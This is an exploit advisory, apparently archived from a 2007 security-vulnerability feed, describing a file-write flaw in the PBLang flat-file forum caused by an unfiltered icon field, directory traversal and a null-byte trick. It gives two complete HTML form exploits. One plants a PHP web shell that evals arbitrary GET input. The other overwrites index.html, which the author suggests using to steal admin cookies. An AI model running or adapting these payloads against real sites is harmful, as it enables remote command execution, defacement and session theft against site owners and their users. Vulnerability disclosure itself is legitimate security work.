PBLang <= 4.99.17.q Remote File Rewriting / Remote Command Execution

2007-11-25T00:00:00
ID SECURITYVULNS:DOC:18493
Type securityvulns
Reporter Securityvulns
Modified 2007-11-25T00:00:00

Description


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Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org Original Here: http://www.inj3ct-it.org/exploit/pbl.txt


PBLang <= 4.99.17.q Remote File Rewriting / Remote Command Execution


By KiNgOfThEwOrLd


PoC:

PBLang is a flat forum, it doesn't need any database. When we write a new topic, all the topics informations will be saved in a file located in "\db\posts" (a not readeable directory). It looks like a php file, in fact the informations will be saved in this way:

<?php

$psubject="[subject]"; $pcontent="[contenet]"; $pauthor="[author]"; $pdate="[date]"; $plastdate=""; $pimage="[icon]"; $plastreply="0"; $plastauthor=""; $preplies="0"; $pviews="0"; $pnotify=""; $plock=""; $pip=""; $pvisitors=""; $psticky=""; $plockview="";

?>

The "subject" and the "contenent" values is "htmlentitiesed", so we can't type a malicious code there...but the "image" value is not filtred, so we can execute a malicious code! Don't worry if the directory is not readable, using the directory traversl variable we can make a file where we want, and so we can read that! The file name will be the "fid" value that we send via POST, and the file wont have any estension, it will be like: fid_1 (or something like that). Then, editing the cid value like: "evilfile.php\0", we can make a malicious file.

Ps. u gotta use nullbyte not encoded, like: \0 if u try to use %00 it will be not considered like nullbyte ;)


Remote Command Execution Exploit (Works only whit Magic Quotes OFF):

<!-- This code will make "31337.php" in http://[target]/[pblang_path], u can execute a malicious code via GET as 31337.php?php=[YOUR_CODE] --> <form action='[target]/ntopic.php?idnum=[idtopic]' name='postmodify' enctype='multipart/form-data' method='POST' onSubmit='submitonce(this);'target='_self'> <input type='text' name='subject' value='Owned by KiNgOfThEwOrLd's Exploit'> <input type='hidden' name='fid' value='../../../../31337.php\0'> <input type='hidden' name='cat' value='2' size=40> <input type='radio' name='topicicon' value='"; <?php eval(stripslashes($_GET[php])); ?>' CHECKED> <textarea name='message' rows='12' cols='60' onselect='storeCaret(this)' onclick='storeCaret(this)' onkeyup='storeCaret(this)'>VISIT Http://www.inj3ct-it.org</textarea> <input type='hidden' name='gueststatus' value=''> <input type='checkbox' name='EMNotify'> <input type='submit' name='Submit' value='Own!'> </form>


Index Rewriting Exploit

<!-- This code will rewrite or make "index.html" in http://[target]/[pblang_path] --> <form action='[target]/ntopic.php?idnum=[idtopic]' name='postmodify' enctype='multipart/form-data' method='POST' onSubmit='submitonce(this);'target='_self'> <input type='text' name='subject' value='Owned by KiNgOfThEwOrLd's Exploit'> <input type='hidden' name='fid' value='../../../../index.html\0'> <input type='hidden' name='cat' value='2' size=40> <input type='radio' name='topicicon' value='"; [YOUR HTML CODE]' CHECKED> <textarea name='message' rows='12' cols='60' onselect='storeCaret(this)' onclick='storeCaret(this)' onkeyup='storeCaret(this)'>VISIT Http://www.inj3ct-it.org</textarea> <input type='hidden' name='gueststatus' value=''> <input type='checkbox' name='EMNotify'> <input type='submit' name='Submit' value='Own!'> </form> <!-- You can also use this one to steal the admin's cookies, or execute some arbitrary operations ;) -->